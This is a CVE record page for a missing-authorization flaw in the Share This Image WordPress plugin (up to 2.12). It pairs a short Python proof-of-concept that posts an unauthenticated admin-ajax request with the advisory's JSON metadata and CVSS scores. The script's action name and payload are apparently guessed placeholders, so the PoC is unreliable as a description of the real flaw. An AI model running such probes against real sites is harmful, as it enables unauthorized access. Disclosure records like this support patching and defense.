CVE-2026-39563

import requests # CVE-2026-39563 PoC - Share This Image Missing Authorization # Description: This script attempts to exploit the broken access control vulnerability # by sending a request to an endpoint that should require authentication. target_url = "http://example.com/wp-admin/admin-ajax.php" # The specific action parameter vulnerable to missing authorization # Based on the plugin structure, this endpoint might trigger an action without checking capabilities payload = { "action": "share_this_image_sensitive_action", "data": "malicious_payload" } try: # Sending request without authentication cookies response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Potential vulnerability detected. Endpoint responded without authentication.") print("[+] Response:", response.text[:200]) else: print("[-] Request failed or endpoint not found.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-39563", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:27.493", "lastModified": "2026-04-29T10:17:28.400", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ILLID Share This Image share-this-image allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Share This Image: from n/a through <= 2.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/share-this-image/vulnerability/wordpress-share-this-image-plugin-2-12-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}